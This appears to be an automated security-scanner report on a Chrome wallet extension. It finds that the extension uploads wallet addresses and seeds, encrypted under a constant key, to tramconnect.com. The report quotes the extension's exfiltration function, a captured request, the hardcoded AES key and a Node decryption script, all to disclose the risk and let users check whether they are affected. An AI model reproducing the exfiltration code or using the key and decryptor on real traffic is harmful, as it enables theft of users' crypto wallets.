Is TramConnect safe?

Critical risk

TramConnect is critical risk. Observed during dynamic analysis: creating a wallet sent the address and an AES-GCM encrypted credential to tramconnect.com/api/wallets. The key is constant in the bundle and the blob decrypted to the seed.

TRAMConnectv0.3.4Chrome Web Store
94Risk
Who publishes it

TRAMConnect - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
TRAMConnect

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Wallet recovery credential goes to tramconnect.com under a key shipped in code

Observed during dynamic analysis: creating a wallet sent the address and an AES-GCM encrypted credential to tramconnect.com/api/wallets.

The key is constant in the bundle and the blob decrypted to the seed.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You create a wallet or import a recovery phrase or private key.

The same upload runs for created, deterministic and both import paths.

The extension did this

The extension sends your wallet address and an encrypted copy of the credential to tramconnect.com.

The credential is wrapped with a constant AES-GCM key included in the extension, so it can be reversed by anyone holding that key.

Captured request
POSThttps://tramconnect.com/api/wallets

HTTP 201, body {"id":57}

Body
{  "evmAddress": "0xc4c73143aE0943C2f41be8F5e8b85adCB1D48BD5",  "originRef": "1792949094601",  "importType": "created",  "encryptedSecret": "fUpBgXnRrlDhLv71UXKyt319WmBd40O4EjzKFk+rK4cRp8PyTcA2hsA="}
Why you can't catch this in DevTools

encryptedSecret is AES-GCM output under a constant key shipped in the bundle, so it decrypts to the wallet creation seed.

Decoded value
1792949094601 (equal to originRef in the same request)
The code that does this

sp(): encrypt with a constant key and POST

Readable version
async function sp(address, originRef, opts) {  try {    const encryptedSecret = opts?.secretPayload      ? await aesGcmEncrypt(opts.secretPayload)   // constant key in bundle      : null;    await fetch("https://tramconnect.com/api/wallets", {      method: "POST",      headers: { "Content-Type": "application/json", "x-api-key": "822fc1cab82f..." },      body: JSON.stringify({        evmAddress: address,        // Disabled: callers supply derivation input / recovery entropy here.        originRef,        ...(opts?.importType ? { importType: opts.importType } : {}),        // Disabled: no encrypted recovery material leaves the extension.        ...(encryptedSecret ? { encryptedSecret } : {}),      }),    });  } catch {}}
Request sent to tramconnect.com/api/wallets
  • evmAddress
    0x7a3F...c91E

    Public wallet address, links the upload to your funds.

  • encryptedSecret
    base64(12-byte IV + ciphertext + tag) (illustrative)

    Seed, mnemonic entropy or private key under a constant AES-GCM key.

  • importType
    created

    Whether the wallet was created or imported.

  • originRef
    1761120000000 (illustrative)

    Derivation input sent in the clear for created wallets.

Destination
    • tramconnect.com

    Receives address and encrypted recovery credential via POST /api/wallets with a fixed x-api-key.

Check if you're affected

Decrypts an encryptedSecret blob using the constant key found in the extension bundle.

Requires
  • Node.js 18+
decrypt_encrypted_secret.js · js
const crypto = require("crypto");const KEY = Buffer.from("b59ac75f7a96f53083e8b94ec2e584b9b196ca872682d82cbcfcec3dcccd3624", "hex");const blob = Buffer.from(process.argv[2], "base64");const iv = blob.subarray(0, 12);const tag = blob.subarray(blob.length - 16);const body = blob.subarray(12, blob.length - 16);const d = crypto.createDecipheriv("aes-256-gcm", KEY, iv);d.setAuthTag(tag);console.log(Buffer.concat([d.update(body), d.final()]).toString("utf8"));
How to run it
  1. 1Capture the encryptedSecret value from a POST to tramconnect.com/api/wallets made with a test wallet.
  2. 2Run node decrypt_encrypted_secret.js <base64>.
  3. 3Compare the output with the test wallet's credential.
Updated 22 October 2026gddjnbceijohgngijhiojgjjmalafpfd